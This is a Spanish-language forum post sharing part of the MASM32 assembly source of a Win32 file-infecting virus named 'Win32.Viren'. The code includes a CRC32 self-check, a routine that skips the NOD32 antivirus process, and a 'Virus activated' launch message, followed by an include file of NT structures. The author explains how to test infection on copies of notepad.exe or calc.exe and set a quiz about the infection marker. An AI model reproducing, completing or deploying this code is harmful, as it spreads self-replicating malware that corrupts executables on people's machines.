@@check_crc32:
mov al,[ebp + delta(init_mode)]
test al,al
jz @F
push esi
lea esi,[ebp + delta(@@hash_start)]
mov ecx,HASH_SIZE
call @@compute_crc32
pop esi
mov ecx,eax
mov eax,[ebp + delta(virus_crc32)]
cmp ecx,eax
jne @@return2host
@@:
ret
@@check_crc32_endp:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@strcmp:
push ecx
call @@strlen
xchg eax,ecx
xchg esi,edi
call @@strlen
xchg esi,edi
cmp eax,ecx
jne @@ret_not_equal
call @@strncmp
inc eax
jz @@ret_not_equal
@@ret_equal:
xor eax,eax
jmp @@strcmp_ret
@@ret_not_equal:
xor eax,eax
dec eax
@@strcmp_ret:
pop ecx
ret
@@strcmp_endp:
@@infectable:
push edi
push ecx
call @F
db "nod32kui.exe",0h
db 0h
@@:
pop edi
@@infectable_loop:
mov al,byte ptr [edi]
test al,al
jz @@inf_valid
call @@strcmp
xchg eax,ecx
jecxz @@inf_not_valid
xchg esi,edi
call @@strlen
add esi,eax
xchg esi,edi
jmp @@infectable_loop
@@inf_valid:
xor eax,eax
inc eax
jmp @@infectable_loop_end
@@inf_not_valid:
xor eax,eax
@@infectable_loop_end:
pop ecx
pop edi
ret
@@infectable_endp:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
db "This GNU program is covered by GPL.",0h
copyright db "[Win32.Viren] (c) 2012 by nts94/??",0h
@@crypted_code1_end:
@@hash_end:
@@virus_end:
@@first_exit:
push MB_OK or MB_ICONINFORMATION
push offset copyright
call @F
db " Virus activated, have a nice day",0h
@@:
xor eax,eax
push eax
call MessageBox
push VIRUS_SIZE
call ExitProcess
end start
Código: [Seleccionar]
;;;; viren.inc
CLIENT_ID STRUCT
UniqueProcess dd ?
UniqueThread dd ?
CLIENT_ID ENDS
SYSTEM_THREADS struct
KernelTime LARGE_INTEGER <>
UserTime LARGE_INTEGER <>
CreateTime LARGE_INTEGER <>
WaitTime dd ?
StartAddress dd ?
ClientId CLIENT_ID <>
Priority SDWORD ?
BasePriority SDWORD ?
ContextSwitchCount dd ?
State dd ?
WaitReason dd ?
SYSTEM_THREADS ends
UNICODE_STRING STRUCT
Len WORD ?
MaximumLength WORD ?
Buffer PWSTR ?
UNICODE_STRING ends
VM_COUNTERS STRUCT
PeakVirtualSize DWORD ? ; SIZE_T
VirtualSize DWORD ? ; SIZE_T
PageFaultCount DWORD ?
PeakWorkingSetSize DWORD ? ; SIZE_T
WorkingSetSize DWORD ? ; SIZE_T
QuotaPeakPagedPoolUsage DWORD ? ; SIZE_T
QuotaPagedPoolUsage DWORD ? ; SIZE_T
QuotaPeakNonPagedPoolUsage DWORD ? ; SIZE_T
QuotaNonPagedPoolUsage DWORD ? ; SIZE_T
PagefileUsage DWORD ? ; SIZE_T
PeakPagefileUsage DWORD ? ; SIZE_T
VM_COUNTERS ENDS
SYSTEM_PROCESS_INFORMATION struct
NextEntryDelta dd ?
ThreadCount dd ?
Reserved1 dd 6 dup (?)
CreateTime LARGE_INTEGER <>
UserTime LARGE_INTEGER <>
KernelTime LARGE_INTEGER <>
ProcessName UNICODE_STRING <>
BasePriority SDWORD ?
ProcessId dd ?
InheritedFromProcessId dd ?
HandleCount dd ?
Reserved2 dd 2 dup (?)
VmCounters VM_COUNTERS <>
;IO_COUNTERS IoCounters; // Windows 2000 only
Threads SYSTEM_THREADS <>
SYSTEM_PROCESS_INFORMATION ends
.const
SystemBasicInformation equ 0h
SystemProcessInformation equ 5h
ProcessBasicInformation equ 0h
ProcessDebugPort equ 7h
ProcessImageFileName equ 1bh
VIR_INIT_GEN equ 0h
VIR_INIT_EXE equ 1h
VIR_INIT_DLL equ 2h
Nota: la marca de infección es... Bueno, nuevo reto, quien me diga cuál es la marca de infección le doy diez puntos xDDDD Alguien?
Nota 2: para comprobar que funciona, podeis copiar el notepad.exe o el calc.exe (siempre que sean de 32 bits), ejecutais el virus y luego os vais al OllyDbg/IDA y si veis que el entry point está en la última sección y comienza con un pushad... malo malo xD
Por cierto, que para empezar os recomiendo Masm32 que viene con todos los includes, etc... luego, ya estareis listos de pasaros a x64 con FASM (the best assembler ever!)
Una cosa, esto no iría mejor en "Malware"?